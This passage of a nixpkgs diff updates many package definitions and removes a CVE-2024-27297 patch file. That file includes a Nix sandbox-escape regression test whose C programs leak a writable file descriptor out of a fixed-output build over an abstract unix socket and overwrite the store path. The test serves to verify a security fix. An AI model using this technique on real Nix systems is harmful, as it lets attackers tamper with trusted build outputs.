"BUILD_SHARED_LIBS" (!static)) 152 + # Set the Fortran name mangling scheme explicitly. We must set FORTRAN_CONVENTION manually because it will 153 + # otherwise not be set in NVCC_FLAGS or DEVCCFLAGS (which we cannot modify). 154 + # See https://github.com/NixOS/nixpkgs/issues/281656#issuecomment-1902931289 155 + (strings.cmakeBool "USE_FORTRAN" true) 156 + (strings.cmakeFeature "CMAKE_C_FLAGS" "-DADD_") 157 + (strings.cmakeFeature "CMAKE_CXX_FLAGS" "-DADD_") 158 + (strings.cmakeFeature "FORTRAN_CONVENTION" "-DADD_") 159 ] ++ lists.optionals cudaSupport [ 160 + (strings.cmakeFeature "CMAKE_CUDA_ARCHITECTURES" cudaArchitecturesString) 161 + (strings.cmakeFeature "MIN_ARCH" minArch) # Disarms magma's asserts 162 ] ++ lists.optionals rocmSupport [ 163 + (strings.cmakeFeature "CMAKE_C_COMPILER" "${rocmPackages.clr}/bin/hipcc") 164 + (strings.cmakeFeature "CMAKE_CXX_COMPILER" "${rocmPackages.clr}/bin/hipcc") 165 ]; 166 167 + # Magma doesn't have a test suite we can easily run, just loose executables, all of which require a GPU. 168 doCheck = false; 169 170 + # Copy the files to the test output and fix the RPATHs. 171 + postInstall = 172 + # NOTE: The python scripts aren't copied by CMake into the build directory, so we must copy them from the source. 173 + # TODO(@connorbaker): This should be handled by having CMakeLists.txt install them, but such a patch is 174 + # out of the scope of the PR which introduces the `test` output: https://github.com/NixOS/nixpkgs/pull/283777. 175 + # See https://github.com/NixOS/nixpkgs/pull/283777#discussion_r1482125034 for more information. 176 + '' 177 + install -Dm755 ../testing/run_{tests,summarize}.py -t "$test/bin/" 178 + '' 179 + # Copy core test executables and libraries over to the test output. 180 + # NOTE: Magma doesn't provide tests for sparse solvers for ROCm, but it does for CUDA -- we put them both in the same 181 + # install command to avoid the case where a glob would fail to find any files and cause the install command to fail 182 + # because it has no files to install. 183 + + '' 184 + install -Dm755 ./testing/testing_* ./sparse/testing/testing_* -t "$test/bin/" 185 + install -Dm755 ./lib/libtester.so ./lib/liblapacktest.so -t "$test/lib/" 186 + '' 187 + # All of the test executables and libraries will have a reference to the build directory in their RPATH, which we 188 + # must remove. We do this by shrinking the RPATH to only include the Nix store. The autoPatchelfHook will take care 189 + # of supplying the correct RPATH for needed libraries (like `libtester.so`). 190 + + '' 191 + find "$test" -type f -exec \ 192 + patchelf \ 193 + --shrink-rpath \ 194 + --allowed-rpath-prefixes "$NIX_STORE" \ 195 + {} \; 196 + ''; 197 + 198 passthru = { 199 inherit cudaPackages cudaSupport rocmSupport gpuTargets; 200 }; ··· 210 broken = 211 !(cudaSupport || rocmSupport) # At least one back-end enabled 212 || (cudaSupport && rocmSupport) # Mutually exclusive 213 + || (cudaSupport && cudaOlder "9.0"); 214 }; 215 }
+1
pkgs/development/python-modules/git-revise/default.nix
··· 29 homepage = "https://github.com/mystor/git-revise"; 30 changelog = "https://github.com/mystor/git-revise/blob/${version}/CHANGELOG.md"; 31 license = licenses.mit; 32 maintainers = with maintainers; [ emily ]; 33 }; 34 }
··· 29 homepage = "https://github.com/mystor/git-revise"; 30 changelog = "https://github.com/mystor/git-revise/blob/${version}/CHANGELOG.md"; 31 license = licenses.mit; 32 + mainProgram = "git-revise"; 33 maintainers = with maintainers; [ emily ]; 34 }; 35 }
+54
pkgs/development/python-modules/magika/default.nix
···
··· 1 + { lib 2 + , buildPythonPackage 3 + , click 4 + , fetchPypi 5 + , magika 6 + , numpy 7 + , onnxruntime 8 + , poetry-core 9 + , python-dotenv 10 + , pythonOlder 11 + , stdenv 12 + , tabulate 13 + , testers 14 + , tqdm 15 + }: 16 + 17 + buildPythonPackage rec { 18 + pname = "magika"; 19 + version = "0.5.0"; 20 + pyproject = true; 21 + disabled = pythonOlder "3.9"; 22 + 23 + src = fetchPypi { 24 + inherit pname version; 25 + hash = "sha256-r6C7iDCG/o3JEvweQGb4upr+LuHvmNtkwtduZGehCsc="; 26 + }; 27 + 28 + nativeBuildInputs = [ 29 + poetry-core 30 + ]; 31 + 32 + propagatedBuildInputs = [ 33 + click 34 + numpy 35 + onnxruntime 36 + python-dotenv 37 + tabulate 38 + tqdm 39 + ]; 40 + 41 + pythonImportsCheck = [ "magika" ]; 42 + 43 + passthru.tests.version = testers.testVersion { package = magika; }; 44 + 45 + meta = with lib; { 46 + description = "Magika: Detect file content types with deep learning"; 47 + homepage = "https://github.com/google/magika"; 48 + license = licenses.asl20; 49 + maintainers = with maintainers; [ mihaimaruseac ]; 50 + mainProgram = "magika"; 51 + # Currently, disabling on AArch64 as it onnx runtime crashes on ofborg 52 + broken = stdenv.isAarch64 && stdenv.isLinux; 53 + }; 54 + }
+2 -2
pkgs/development/python-modules/niaarm/default.nix
··· 13 14 buildPythonPackage rec { 15 pname = "niaarm"; 16 - version = "0.3.7"; 17 format = "pyproject"; 18 19 disabled = pythonOlder "3.9"; ··· 22 owner = "firefly-cpp"; 23 repo = "NiaARM"; 24 rev = "refs/tags/${version}"; 25 - hash = "sha256-0YBjYpeu1eagy9hp/EuXN1cfHztEjR/i4/YFKXS33Co="; 26 }; 27 28 nativeBuildInputs = [
··· 13 14 buildPythonPackage rec { 15 pname = "niaarm"; 16 + version = "0.3.8"; 17 format = "pyproject"; 18 19 disabled = pythonOlder "3.9"; ··· 22 owner = "firefly-cpp"; 23 repo = "NiaARM"; 24 rev = "refs/tags/${version}"; 25 + hash = "sha256-p07SuCl433rj6IEMO1eg5QHAUTVfgqYo5gsprMvQg2Y="; 26 }; 27 28 nativeBuildInputs = [
+2 -2
pkgs/development/tools/build-managers/buck2/default.nix
··· 38 buildHashes = builtins.fromJSON (builtins.readFile ./hashes.json); 39 40 # our version of buck2; this should be a git tag 41 - version = "2024-01-15"; 42 43 # the platform-specific, statically linked binary — which is also 44 # zstd-compressed ··· 63 # tooling 64 prelude-src = 65 let 66 - prelude-hash = "ccf6f5d1693cfa215b60212cf9863d27c6fd6a69"; 67 name = "buck2-prelude-${version}.tar.gz"; 68 hash = buildHashes."_prelude"; 69 url = "https://github.com/facebook/buck2-prelude/archive/${prelude-hash}.tar.gz";
··· 38 buildHashes = builtins.fromJSON (builtins.readFile ./hashes.json); 39 40 # our version of buck2; this should be a git tag 41 + version = "2024-03-15"; 42 43 # the platform-specific, statically linked binary — which is also 44 # zstd-compressed ··· 63 # tooling 64 prelude-src = 65 let 66 + prelude-hash = "c68a0e4b35928891e72df1738c890bfcb76a6174"; 67 name = "buck2-prelude-${version}.tar.gz"; 68 hash = buildHashes."_prelude"; 69 url = "https://github.com/facebook/buck2-prelude/archive/${prelude-hash}.tar.gz";
+5 -5
pkgs/development/tools/build-managers/buck2/hashes.json
··· 1 { "_comment": "@generated by pkgs/development/tools/build-managers/buck2/update.sh" 2 - , "_prelude": "sha256-Bsd545xKass+Sua1sTFRNJgOokaHS62AKvhiLuqL58w=" 3 - , "x86_64-linux": "sha256-Oxgz96x9INVDybJIRlBvIa76V7ngUxYh9Uo6Hdo/3pQ=" 4 - , "x86_64-darwin": "sha256-tOlp6LKdQZg6TK2Ki8yf/e38Ibrx3fDrzOzC6bzGtrQ=" 5 - , "aarch64-linux": "sha256-LmMbh/4tckZN1J8GJzMt8GyPmQbk3zc9DwXqJ004O7c=" 6 - , "aarch64-darwin": "sha256-qsdHCxtJzu+UMVl1AcQh3cgDWQAITQNJEnfEN9A1W5M=" 7 }
··· 1 { "_comment": "@generated by pkgs/development/tools/build-managers/buck2/update.sh" 2 + , "_prelude": "sha256-PTetJetdpFU3bKLU1WESMwIEZox86IcrczvCxmaQzoE=" 3 + , "x86_64-linux": "sha256-2vaKYCFRu2fNA/Nsu3HHT5DWtNeMnEfE8FVl7bat1HQ=" 4 + , "x86_64-darwin": "sha256-zzB3sPOCDGWAb4CQO0yjb7Bph+ioi3cJoMYO/2YzXfU=" 5 + , "aarch64-linux": "sha256-sx8rcADlfdAECL/SSHeB7vzxoedqx6+yT7yJp1qLBgM=" 6 + , "aarch64-darwin": "sha256-GKQ8Xfe9iRpgq5SrM6nyyIPBh9gC25uN/vzGRjViQdQ=" 7 }
+3 -3
pkgs/development/tools/database/dbmate/default.nix
··· 5 6 buildGoModule rec { 7 pname = "dbmate"; 8 - version = "2.12.0"; 9 10 src = fetchFromGitHub { 11 owner = "amacneil"; 12 repo = "dbmate"; 13 rev = "refs/tags/v${version}"; 14 - hash = "sha256-TXQXG6FdDFtUp1VuM3iWifyRI/6NKa1iPDT8riZxux0="; 15 }; 16 17 - vendorHash = "sha256-4l3OYn7p+dbGieQ56klyNjuI0jk1ccgBXKeJGOamCjY="; 18 19 doCheck = false; 20
··· 5 6 buildGoModule rec { 7 pname = "dbmate"; 8 + version = "2.13.0"; 9 10 src = fetchFromGitHub { 11 owner = "amacneil"; 12 repo = "dbmate"; 13 rev = "refs/tags/v${version}"; 14 + hash = "sha256-4Ur9LGYcC9C2EUWLLppcVSf+PLgfPITbKGp2qLRnxVY="; 15 }; 16 17 + vendorHash = "sha256-le2AWHqTElo95GQJ8jEk3jjNrxu63YyWVtq+CI6+SbY="; 18 19 doCheck = false; 20
+5 -5
pkgs/development/tools/reindeer/default.nix
··· 11 12 rustPlatform.buildRustPackage rec { 13 pname = "reindeer"; 14 - version = "unstable-2024-03-06"; 15 16 src = fetchFromGitHub { 17 owner = "facebookincubator"; 18 - repo = pname; 19 - rev = "3ec771e9608a01c90d6aac92aa77145551786c64"; 20 - sha256 = "sha256-cClbSJuEs4yIjx+13GSIevZO2PWEEHVDaMEmf729keA="; 21 }; 22 23 - cargoSha256 = "sha256-plkn+snWUaOH6ZxaPUbCvnNOky+eL6oY4ZHwv+qyNiE="; 24 25 nativeBuildInputs = [ pkg-config ]; 26 buildInputs =
··· 11 12 rustPlatform.buildRustPackage rec { 13 pname = "reindeer"; 14 + version = "2024.03.11.00"; 15 16 src = fetchFromGitHub { 17 owner = "facebookincubator"; 18 + repo = "reindeer"; 19 + rev = "refs/tags/v${version}"; 20 + hash = "sha256-cClbSJuEs4yIjx+13GSIevZO2PWEEHVDaMEmf729keA="; 21 }; 22 23 + cargoHash = "sha256-TtbkzU48j3dmqRocJdY8KJz/3YHYIi3SZYM/eB9zoIg="; 24 25 nativeBuildInputs = [ pkg-config ]; 26 buildInputs =
+2 -2
pkgs/development/web/publii/default.nix
··· 25 26 stdenv.mkDerivation rec { 27 pname = "publii"; 28 - version = "0.45.1"; 29 30 src = fetchurl { 31 url = "https://getpublii.com/download/Publii-${version}.deb"; 32 - hash = "sha256-R+TlxF6j5qv7wOr4lxCqd1pulyiEXPUe4B2HFMhD020="; 33 }; 34 35 dontConfigure = true;
··· 25 26 stdenv.mkDerivation rec { 27 pname = "publii"; 28 + version = "0.45.2"; 29 30 src = fetchurl { 31 url = "https://getpublii.com/download/Publii-${version}.deb"; 32 + hash = "sha256-NGS5ovaJ6XskCimN48mqvUdoA+N9eDlIpazV0GDEs3E="; 33 }; 34 35 dontConfigure = true;
+2 -2
pkgs/os-specific/linux/microcode/intel.nix
··· 2 3 stdenv.mkDerivation rec { 4 pname = "microcode-intel"; 5 - version = "20231114"; 6 7 src = fetchFromGitHub { 8 owner = "intel"; 9 repo = "Intel-Linux-Processor-Microcode-Data-Files"; 10 rev = "microcode-${version}"; 11 - hash = "sha256-cZ7APDjwjarPCzk1HWxqIXdGwNOl6HG0KSCtffmEhx0="; 12 }; 13 14 nativeBuildInputs = [ iucode-tool libarchive ];
··· 2 3 stdenv.mkDerivation rec { 4 pname = "microcode-intel"; 5 + version = "20240312"; 6 7 src = fetchFromGitHub { 8 owner = "intel"; 9 repo = "Intel-Linux-Processor-Microcode-Data-Files"; 10 rev = "microcode-${version}"; 11 + hash = "sha256-4ZSA+LVczfjZINXhImmFOCc/6kKNrrUQvrXPdOvMM8g="; 12 }; 13 14 nativeBuildInputs = [ iucode-tool libarchive ];
+3 -3
pkgs/shells/nix-your-shell/default.nix
··· 5 }: 6 rustPlatform.buildRustPackage rec { 7 pname = "nix-your-shell"; 8 - version = "1.4.1"; 9 10 src = fetchFromGitHub { 11 owner = "MercuryTechnologies"; 12 repo = pname; 13 rev = "v${version}"; 14 - hash = "sha256-pa52demadLi5VN+GixQKVL9iD1kb9c32PqIh86BIUR8="; 15 }; 16 17 - cargoHash = "sha256-btM9AUH1S1AA8gEwXwouOT/E2oio0CmOZ738M+DUMiE="; 18 19 meta = with lib; { 20 mainProgram = "nix-your-shell";
··· 5 }: 6 rustPlatform.buildRustPackage rec { 7 pname = "nix-your-shell"; 8 + version = "1.4.3"; 9 10 src = fetchFromGitHub { 11 owner = "MercuryTechnologies"; 12 repo = pname; 13 rev = "v${version}"; 14 + hash = "sha256-/LsTCH16EgoTUCSo4Hzxl/W69+aqLfe/Ld+WQos4Ozo="; 15 }; 16 17 + cargoHash = "sha256-Z0r/HDAK1+1wHaLZ+HPbS72vsuK7GLdBZm6j5p+KARs="; 18 19 meta = with lib; { 20 mainProgram = "nix-your-shell";
+4 -4
pkgs/shells/zsh/zsh-fzf-tab/default.nix
··· 4 INSTALL_PATH="${placeholder "out"}/share/fzf-tab"; 5 in stdenv.mkDerivation rec { 6 pname = "zsh-fzf-tab"; 7 - version = "1.0"; 8 9 src = fetchFromGitHub { 10 owner = "Aloxaf"; 11 repo = "fzf-tab"; 12 rev = "v${version}"; 13 - hash = "sha256-o3R9dh9t8w/SVO3IUeJqP8kkQxwnRjNX8oZ4wSZxBYo="; 14 }; 15 16 strictDeps = true; ··· 31 pushd modules 32 33 tar -xf ${zsh.src} 34 - ln -s $(pwd)/src/fzftab.c zsh-${zsh.version}/Src/Modules/ 35 - ln -s $(pwd)/src/fzftab.mdd zsh-${zsh.version}/Src/Modules/ 36 37 pushd zsh-${zsh.version} 38
··· 4 INSTALL_PATH="${placeholder "out"}/share/fzf-tab"; 5 in stdenv.mkDerivation rec { 6 pname = "zsh-fzf-tab"; 7 + version = "1.1.1"; 8 9 src = fetchFromGitHub { 10 owner = "Aloxaf"; 11 repo = "fzf-tab"; 12 rev = "v${version}"; 13 + hash = "sha256-0/YOL1/G2SWncbLNaclSYUz7VyfWu+OB8TYJYm4NYkM="; 14 }; 15 16 strictDeps = true; ··· 31 pushd modules 32 33 tar -xf ${zsh.src} 34 + ln -s $(pwd)/Src/fzftab.c zsh-${zsh.version}/Src/Modules/ 35 + ln -s $(pwd)/Src/fzftab.mdd zsh-${zsh.version}/Src/Modules/ 36 37 pushd zsh-${zsh.version} 38
+2 -2
pkgs/tools/misc/kcollectd/default.nix
··· 18 19 mkDerivation rec { 20 pname = "kcollectd"; 21 - version = "0.12.0"; 22 src = fetchFromGitLab { 23 owner = "aerusso"; 24 repo = pname; 25 rev = "v${version}"; 26 - sha256 = "sha256-Ihd4Ps4t9+sNB3joO3vTxDR/25t7Ecl6yvHQ15QiUdY="; 27 }; 28 29 nativeBuildInputs = [
··· 18 19 mkDerivation rec { 20 pname = "kcollectd"; 21 + version = "0.12.1"; 22 src = fetchFromGitLab { 23 owner = "aerusso"; 24 repo = pname; 25 rev = "v${version}"; 26 + sha256 = "sha256-bUVL5eRQ5UkSZo562pnyEcj0fVoSC5WHRq4BfN67jEM="; 27 }; 28 29 nativeBuildInputs = [
+3 -3
pkgs/tools/networking/openssh/default.nix
··· 58 59 openssh_gssapi = common rec { 60 pname = "openssh-with-gssapi"; 61 - version = "9.5p1"; 62 extraDesc = " with GSSAPI support"; 63 64 src = fetchurl { 65 url = "mirror://openbsd/OpenSSH/portable/openssh-${version}.tar.gz"; 66 - hash = "sha256-8Cbnt5un+1QPdRgq+W3IqPHbOV+SK7yfbKYDZyaGCGs="; 67 }; 68 69 extraPatches = [ ··· 72 (fetchpatch { 73 name = "openssh-gssapi.patch"; 74 url = "https://salsa.debian.org/ssh-team/openssh/raw/debian/1%25${version}-1/debian/patches/gssapi.patch"; 75 - sha256 = "sha256-E36jxnPcu6RTyXXb9yVBCoFIVchiOSLX7L74ng1Dmao="; 76 }) 77 ]; 78
··· 58 59 openssh_gssapi = common rec { 60 pname = "openssh-with-gssapi"; 61 + version = "9.6p1"; 62 extraDesc = " with GSSAPI support"; 63 64 src = fetchurl { 65 url = "mirror://openbsd/OpenSSH/portable/openssh-${version}.tar.gz"; 66 + hash = "sha256-kQIRwHJVqMWtZUORtA7lmABxDdgRndU2LeCThap6d3w="; 67 }; 68 69 extraPatches = [ ··· 72 (fetchpatch { 73 name = "openssh-gssapi.patch"; 74 url = "https://salsa.debian.org/ssh-team/openssh/raw/debian/1%25${version}-1/debian/patches/gssapi.patch"; 75 + hash = "sha256-gzDQdO6yOoN0apGj5aoKFdUkmKzFyphFUdgNhDLMp8U="; 76 }) 77 ]; 78
+2 -6
pkgs/tools/package-management/nix/default.nix
··· 246 }; 247 248 nix_2_18 = common { 249 - version = "2.18.1"; 250 - hash = "sha256-WNmifcTsN9aG1ONkv+l2BC4sHZZxtNKy0keqBHXXQ7w="; 251 - patches = [ 252 - patch-rapidcheck-shared 253 - ./patches/2_18/CVE-2024-27297.patch 254 - ]; 255 }; 256 257 nix_2_19 = common {
··· 246 }; 247 248 nix_2_18 = common { 249 + version = "2.18.2"; 250 + hash = "sha256-8gNJlBlv2bnffRg0CejiBXc6U/S6YeCLAdHrYvTPyoY="; 251 }; 252 253 nix_2_19 = common {
-379
pkgs/tools/package-management/nix/patches/2_18/CVE-2024-27297.patch
··· 1 - From f8d20e91a45f71b60402f5916d2475751c089c84 Mon Sep 17 00:00:00 2001 2 - From: Tom Bereknyei <tomberek@gmail.com> 3 - Date: Fri, 1 Mar 2024 03:42:26 -0500 4 - Subject: [PATCH 1/3] Add a NixOS test for the sandbox escape 5 - 6 - Test that we can't leverage abstract unix domain sockets to leak file 7 - descriptors out of the sandbox and modify the path after it has been 8 - registered. 9 - 10 - Co-authored-by: Theophane Hufschmitt <theophane.hufschmitt@tweag.io> 11 - --- 12 - flake.nix | 2 + 13 - tests/nixos/ca-fd-leak/default.nix | 90 ++++++++++++++++++++++++++++++ 14 - tests/nixos/ca-fd-leak/sender.c | 65 +++++++++++++++++++++ 15 - tests/nixos/ca-fd-leak/smuggler.c | 66 ++++++++++++++++++++++ 16 - 4 files changed, 223 insertions(+) 17 - create mode 100644 tests/nixos/ca-fd-leak/default.nix 18 - create mode 100644 tests/nixos/ca-fd-leak/sender.c 19 - create mode 100644 tests/nixos/ca-fd-leak/smuggler.c 20 - 21 - diff --git a/flake.nix b/flake.nix 22 - index 230bb6031..4a54c660f 100644 23 - --- a/flake.nix 24 - +++ b/flake.nix 25 - @@ -634,6 +634,8 @@ 26 - ["i686-linux" "x86_64-linux"] 27 - (system: runNixOSTestFor system ./tests/nixos/setuid.nix); 28 - 29 - + tests.ca-fd-leak = runNixOSTestFor "x86_64-linux" ./tests/nixos/ca-fd-leak; 30 - + 31 - 32 - # Make sure that nix-env still produces the exact same result 33 - # on a particular version of Nixpkgs. 34 - diff --git a/tests/nixos/ca-fd-leak/default.nix b/tests/nixos/ca-fd-leak/default.nix 35 - new file mode 100644 36 - index 000000000..a6ae72adc 37 - --- /dev/null 38 - +++ b/tests/nixos/ca-fd-leak/default.nix 39 - @@ -0,0 +1,90 @@ 40 - +# Nix is a sandboxed build system. But Not everything can be handled inside its 41 - +# sandbox: Network access is normally blocked off, but to download sources, a 42 - +# trapdoor has to exist. Nix handles this by having "Fixed-output derivations". 43 - +# The detail here is not important, but in our case it means that the hash of 44 - +# the output has to be known beforehand. And if you know that, you get a few 45 - +# rights: you no longer run inside a special network namespace! 46 - +# 47 - +# Now, Linux has a special feature, that not many other unices do: Abstract 48 - +# unix domain sockets! Not only that, but those are namespaced using the 49 - +# network namespace! That means that we have a way to create sockets that are 50 - +# available in every single fixed-output derivation, and also all processes 51 - +# running on the host machine! Now, this wouldn't be that much of an issue, as, 52 - +# well, the whole idea is that the output is pure, and all processes in the 53 - +# sandbox are killed before finalizing the output. What if we didn't need those 54 - +# processes at all? Unix domain sockets have a semi-known trick: you can pass 55 - +# file descriptors around! 56 - +# This makes it possible to exfiltrate a file-descriptor with write access to 57 - +# $out outside of the sandbox. And that file-descriptor can be used to modify 58 - +# the contents of the store path after it has been registered. 59 - + 60 - +{ config, ... }: 61 - + 62 - +let 63 - + pkgs = config.nodes.machine.nixpkgs.pkgs; 64 - + 65 - + # Simple C program that sends a a file descriptor to `$out` to a Unix 66 - + # domain socket. 67 - + # Compiled statically so that we can easily send it to the VM and use it 68 - + # inside the build sandbox. 69 - + sender = pkgs.runCommandWith { 70 - + name = "sender"; 71 - + stdenv = pkgs.pkgsStatic.stdenv; 72 - + } '' 73 - + $CC -static -o $out ${./sender.c} 74 - + ''; 75 - + 76 - + # Okay, so we have a file descriptor shipped out of the FOD now. But the 77 - + # Nix store is read-only, right? .. Well, yeah. But this file descriptor 78 - + # lives in a mount namespace where it is not! So even when this file exists 79 - + # in the actual Nix store, we're capable of just modifying its contents... 80 - + smuggler = pkgs.writeCBin "smuggler" (builtins.readFile ./smuggler.c); 81 - + 82 - + # The abstract socket path used to exfiltrate the file descriptor 83 - + socketName = "FODSandboxExfiltrationSocket"; 84 - +in 85 - +{ 86 - + name = "ca-fd-leak"; 87 - + 88 - + nodes.machine = 89 - + { config, lib, pkgs, ... }: 90 - + { virtualisation.writableStore = true; 91 - + nix.settings.substituters = lib.mkForce [ ]; 92 - + virtualisation.additionalPaths = [ pkgs.busybox-sandbox-shell sender smuggler pkgs.socat ]; 93 - + }; 94 - + 95 - + testScript = { nodes }: '' 96 - + start_all() 97 - + 98 - + machine.succeed("echo hello") 99 - + # Start the smuggler server 100 - + machine.succeed("${smuggler}/bin/smuggler ${socketName} >&2 &") 101 - + 102 - + # Build the smuggled derivation. 103 - + # This will connect to the smuggler server and send it the file descriptor 104 - + machine.succeed(r""" 105 - + nix-build -E ' 106 - + builtins.derivation { 107 - + name = "smuggled"; 108 - + system = builtins.currentSystem; 109 - + # look ma, no tricks! 110 - + outputHashMode = "flat"; 111 - + outputHashAlgo = "sha256"; 112 - + outputHash = builtins.hashString "sha256" "hello, world\n"; 113 - + builder = "${pkgs.busybox-sandbox-shell}/bin/sh"; 114 - + args = [ "-c" "echo \"hello, world\" > $out; ''${${sender}} ${socketName}" ]; 115 - + }' 116 - + """.strip()) 117 - + 118 - + 119 - + # Tell the smuggler server that we're done 120 - + machine.execute("echo done | ${pkgs.socat}/bin/socat - ABSTRACT-CONNECT:${socketName}") 121 - + 122 - + # Check that the file was not modified 123 - + machine.succeed(r""" 124 - + cat ./result 125 - + test "$(cat ./result)" = "hello, world" 126 - + """.strip()) 127 - + ''; 128 - + 129 - +} 130 - diff --git a/tests/nixos/ca-fd-leak/sender.c b/tests/nixos/ca-fd-leak/sender.c 131 - new file mode 100644 132 - index 000000000..75e54fc8f 133 - --- /dev/null 134 - +++ b/tests/nixos/ca-fd-leak/sender.c 135 - @@ -0,0 +1,65 @@ 136 - +#include <sys/socket.h> 137 - +#include <sys/un.h> 138 - +#include <stdlib.h> 139 - +#include <stddef.h> 140 - +#include <stdio.h> 141 - +#include <unistd.h> 142 - +#include <fcntl.h> 143 - +#include <errno.h> 144 - +#include <string.h> 145 - +#include <assert.h> 146 - + 147 - +int main(int argc, char **argv) { 148 - + 149 - + assert(argc == 2); 150 - + 151 - + int sock = socket(AF_UNIX, SOCK_STREAM, 0); 152 - + 153 - + // Set up a abstract domain socket path to connect to. 154 - + struct sockaddr_un data; 155 - + data.sun_family = AF_UNIX; 156 - + data.sun_path[0] = 0; 157 - + strcpy(data.sun_path + 1, argv[1]); 158 - + 159 - + // Now try to connect, To ensure we work no matter what order we are 160 - + // executed in, just busyloop here. 161 - + int res = -1; 162 - + while (res < 0) { 163 - + res = connect(sock, (const struct sockaddr *)&data, 164 - + offsetof(struct sockaddr_un, sun_path) 165 - + + strlen(argv[1]) 166 - + + 1); 167 - + if (res < 0 && errno != ECONNREFUSED) perror("connect"); 168 - + if (errno != ECONNREFUSED) break; 169 - + } 170 - + 171 - + // Write our message header. 172 - + struct msghdr msg = {0}; 173 - + msg.msg_control = malloc(128); 174 - + msg.msg_controllen = 128; 175 - + 176 - + // Write an SCM_RIGHTS message containing the output path. 177 - + struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg); 178 - + hdr->cmsg_len = CMSG_LEN(sizeof(int)); 179 - + hdr->cmsg_level = SOL_SOCKET; 180 - + hdr->cmsg_type = SCM_RIGHTS; 181 - + int fd = open(getenv("out"), O_RDWR | O_CREAT, 0640); 182 - + memcpy(CMSG_DATA(hdr), (void *)&fd, sizeof(int)); 183 - + 184 - + msg.msg_controllen = CMSG_SPACE(sizeof(int)); 185 - + 186 - + // Write a single null byte too. 187 - + msg.msg_iov = malloc(sizeof(struct iovec)); 188 - + msg.msg_iov[0].iov_base = ""; 189 - + msg.msg_iov[0].iov_len = 1; 190 - + msg.msg_iovlen = 1; 191 - + 192 - + // Send it to the othher side of this connection. 193 - + res = sendmsg(sock, &msg, 0); 194 - + if (res < 0) perror("sendmsg"); 195 - + int buf; 196 - + 197 - + // Wait for the server to close the socket, implying that it has 198 - + // received the commmand. 199 - + recv(sock, (void *)&buf, sizeof(int), 0); 200 - +} 201 - diff --git a/tests/nixos/ca-fd-leak/smuggler.c b/tests/nixos/ca-fd-leak/smuggler.c 202 - new file mode 100644 203 - index 000000000..82acf37e6 204 - --- /dev/null 205 - +++ b/tests/nixos/ca-fd-leak/smuggler.c 206 - @@ -0,0 +1,66 @@ 207 - +#include <sys/socket.h> 208 - +#include <sys/un.h> 209 - +#include <stdlib.h> 210 - +#include <stddef.h> 211 - +#include <stdio.h> 212 - +#include <unistd.h> 213 - +#include <assert.h> 214 - + 215 - +int main(int argc, char **argv) { 216 - + 217 - + assert(argc == 2); 218 - + 219 - + int sock = socket(AF_UNIX, SOCK_STREAM, 0); 220 - + 221 - + // Bind to the socket. 222 - + struct sockaddr_un data; 223 - + data.sun_family = AF_UNIX; 224 - + data.sun_path[0] = 0; 225 - + strcpy(data.sun_path + 1, argv[1]); 226 - + int res = bind(sock, (const struct sockaddr *)&data, 227 - + offsetof(struct sockaddr_un, sun_path) 228 - + + strlen(argv[1]) 229 - + + 1); 230 - + if (res < 0) perror("bind"); 231 - + 232 - + res = listen(sock, 1); 233 - + if (res < 0) perror("listen"); 234 - + 235 - + int smuggling_fd = -1; 236 - + 237 - + // Accept the connection a first time to receive the file descriptor. 238 - + fprintf(stderr, "%s\n", "Waiting for the first connection"); 239 - + int a = accept(sock, 0, 0); 240 - + if (a < 0) perror("accept"); 241 - + 242 - + struct msghdr msg = {0}; 243 - + msg.msg_control = malloc(128); 244 - + msg.msg_controllen = 128; 245 - + 246 - + // Receive the file descriptor as sent by the smuggler. 247 - + recvmsg(a, &msg, 0); 248 - + 249 - + struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg); 250 - + while (hdr) { 251 - + if (hdr->cmsg_level == SOL_SOCKET 252 - + && hdr->cmsg_type == SCM_RIGHTS) { 253 - + 254 - + // Grab the copy of the file descriptor. 255 - + memcpy((void *)&smuggling_fd, CMSG_DATA(hdr), sizeof(int)); 256 - + } 257 - + 258 - + hdr = CMSG_NXTHDR(&msg, hdr); 259 - + } 260 - + fprintf(stderr, "%s\n", "Got the file descriptor. Now waiting for the second connection"); 261 - + close(a); 262 - + 263 - + // Wait for a second connection, which will tell us that the build is 264 - + // done 265 - + a = accept(sock, 0, 0); 266 - + fprintf(stderr, "%s\n", "Got a second connection, rewriting the file"); 267 - + // Write a new content to the file 268 - + if (ftruncate(smuggling_fd, 0)) perror("ftruncate"); 269 - + char * new_content = "Pwned\n"; 270 - + int written_bytes = write(smuggling_fd, new_content, strlen(new_content)); 271 - + if (written_bytes != strlen(new_content)) perror("write"); 272 - +} 273 - -- 274 - 2.42.0 275 - 276 - 277 - From 4bc5a3510fa3735798f9ed3a2a30a3ea7b32343a Mon Sep 17 00:00:00 2001 278 - From: Tom Bereknyei <tomberek@gmail.com> 279 - Date: Fri, 1 Mar 2024 03:45:39 -0500 280 - Subject: [PATCH 2/3] Copy the output of fixed-output derivations before 281 - registering them 282 - 283 - It is possible to exfiltrate a file descriptor out of the build sandbox 284 - of FODs, and use it to modify the store path after it has been 285 - registered. 286 - To avoid that issue, don't register the output of the build, but a copy 287 - of it (that will be free of any leaked file descriptor). 288 - 289 - Co-authored-by: Theophane Hufschmitt <theophane.hufschmitt@tweag.io> 290 - Co-authored-by: Valentin Gagarin <valentin.gagarin@tweag.io> 291 - --- 292 - src/libstore/build/local-derivation-goal.cc | 6 ++++++ 293 - src/libutil/filesystem.cc | 6 ++++++ 294 - src/libutil/util.hh | 7 +++++++ 295 - 3 files changed, 19 insertions(+) 296 - 297 - diff --git a/src/libstore/build/local-derivation-goal.cc b/src/libstore/build/local-derivation-goal.cc 298 - index 64b55ca6a..f1e22f829 100644 299 - --- a/src/libstore/build/local-derivation-goal.cc 300 - +++ b/src/libstore/build/local-derivation-goal.cc 301 - @@ -2558,6 +2558,12 @@ SingleDrvOutputs LocalDerivationGoal::registerOutputs() 302 - [&](const DerivationOutput::CAFixed & dof) { 303 - auto & wanted = dof.ca.hash; 304 - 305 - + // Replace the output by a fresh copy of itself to make sure 306 - + // that there's no stale file descriptor pointing to it 307 - + Path tmpOutput = actualPath + ".tmp"; 308 - + copyFile(actualPath, tmpOutput, true); 309 - + renameFile(tmpOutput, actualPath); 310 - + 311 - auto newInfo0 = newInfoFromCA(DerivationOutput::CAFloating { 312 - .method = dof.ca.method, 313 - .hashType = wanted.type, 314 - diff --git a/src/libutil/filesystem.cc b/src/libutil/filesystem.cc 315 - index 11cc0c0e7..2a7787c0e 100644 316 - --- a/src/libutil/filesystem.cc 317 - +++ b/src/libutil/filesystem.cc 318 - @@ -133,6 +133,12 @@ void copy(const 